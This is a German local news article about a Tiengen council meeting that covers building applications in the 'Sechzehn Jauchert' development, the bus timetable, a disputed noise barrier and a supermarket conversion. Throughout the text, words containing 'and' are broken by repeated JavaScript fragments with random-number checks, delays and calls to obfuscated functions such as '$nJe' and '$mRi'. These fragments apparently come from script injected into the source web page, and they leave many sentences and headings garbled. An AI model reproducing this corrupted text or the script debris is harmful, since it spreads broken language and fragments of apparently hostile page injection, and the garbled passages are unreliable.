Bauboom in Tiengen startet mit Baugebiet „Sechzehn Jauchert“

  • UWerner
  • 21. März 2019

Von Eva Opitz

Tiengens Baugebiet „Sechzehn Jauchert“ nimmt Form an: Die allermeisten der 19 Bauanträge, die dem Ortschaftsrat zur jüngsten Sitzung vorlagen, beziehen sich darauf.

Foto: M. Bamberger
Foto: M. Bamberger

Im Juli 2018 fandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anden die Kanalarbeiten für das Tiengener Neubaugebiet „Sechzehn Jauchert“ statt. Foto: Michael Bamberger

Das Baugebiet „Sechzehn Jauchert“ nimmt Fahrt auf: 19 Bauanträge standom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anden auf der Tagesordnung der jüngsten Sitzung des Ortschaftsrates Tiengen am Dienstagabend – die allermeisten für das Areal am südwestlichen Ortsrandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and. Wenig Zeit nahmen die Vorlagen zu Mitteln der Bauunterhaltung im Doppelhaushalt 2019/20 in Anspruch.
Die Räte nahmen die Informationen zu Mitteln der Gebäudeunterhaltung, in denen Tiengen nicht erwähnt wird, zur Kenntnis, nutzten aber die Gelegenheit, eigene Vorschläge zu machen. Unter andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderem forderte Karl-Heinz Geppert (Wählervereinigung Tiengener Bürger, WTB), dass an der neuen Haltestelle „Rivanerweg“ die aufgemalte Verkehrsinsel optisch oder baulich hervorgehoben werde, damit für Kinder keine gefährliche Situation entstehe.

Überschreitungen teilweise nicht zu vermeiden

Mit den Worten „Wir haben ein großes Ding vor uns“, leitete Ortsvorsteher Maximilian Schächtele (Aktive Bürger Tiengen, ABT) dann den Block der Bauanträge ein. Er machte schnell deutlich, dass alle Anträge zu Gebäuden in Rivaner- und Wiedehopfweg mit Befreiungen von den Vorgaben des Bebauungsplans verbunden seien. Überschritten werden Vorgaben zur Traufhöhe und zu Baugrenzen, etwa um Abstellplätze für Fahrräder unterzubringen. „Es handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andelt sich bei ,Sechzehn Jauchert’ um ein schwieriges, abschüssiges Gelände“, warf Geppert ein. Um die generellen Vorgaben der Stadtplaner einzuhalten, seien Überschreitungen in Details nicht zu vermeiden gewesen. Die rechtliche Prüfung des Baurechtsamtes sei positiv ausgefallen.

Nahezu alle Bauanträge zum Neubaugebiet passierten den Rat einstimmig, vier mit einer Gegenstimme. Die Zustimmung hörte jedoch bei einem Bauantrag für eine Doppelhaushälfte mit Carport an der Tunibergstraße abrupt auf. „Die Überschreitungen sind völlig überzogen“, begründete Wilhelm Schlatter (WTB). Ein Bauantrag für die Kammertalstraße wurde auf die nächste Sitzung verschoben.

Neuer Fahrplan der VAG ohne große Änderung

Auf große Zustimmung stieß der Antrag, das Ökonomiegebäude eines Winzerhofs an der „Alten Breisacher Straße“ im Ortskern künftig für Ferienwohnungen zu nutzen. Das sei eine großartige Idee mit gutem Konzept, so Schlatter.

„Alle unsere Vorschläge sind abgeschmettert worden.“ Stefan Haager

Zum neuen Fahrplan der Freiburger Verkehrsbetriebe informierte Geppert, dass sich im Vergleich zum bisherigen wenig verändert habe. Harsche Kritik kam von Stefan Haager: „Alle unsere Vorschläge sind abgeschmettert worden.“ So hielten die Nachtbusse um 2.10 und 3.40 Uhr ab Bahnhof nicht im Rieselfeld, sodass sie Schüler, die nach Schulfesten noch länger mit Freunden zusammen bleiben möchten, nicht aufnehmen könnten. Er möchte zudem wissen, warum einer von ehemals drei Nachtbussen rausgenommen worden sei. Er sehe die Grundversorgung eingeschränkt.

Nicht gewollte Lärmschutzwandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ausgeschrieben und vergeben

Enttäuschung zeigte sich auch bei der Nachricht, dass die nicht gewollte Lärmschutzwandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and zum Gebiet „16 Jauchert“ ausgeschrieben und vergeben sei. „Mit Tempo 30 auf dem Abschnitt der Kreisstraße haben sich die Voraussetzungen verändert, sie sind jedoch nicht überprüft worden“, sagte Kerstin Lienhart (UBB).

Auf Nachfrage gab Ortsvorsteher Schächtele bekannt, dass Edeka einen Bauantrag zum Umbau des Marktes gestellt habe – mit dann 1200 Quadratmetern Fläche, 60 Parkplätzen und Verlagerung der Anlieferung zum Mühlbach hin. Die Stadt habe keinen Einspruch eingelegt. Er gehe davon aus, dass der Umbau noch in diesem Jahr beginnt.

Sitzungsdauer: 90 Minuten.
Teilnehmer: alle zwölf Räte.
Zuhörer:13.

 

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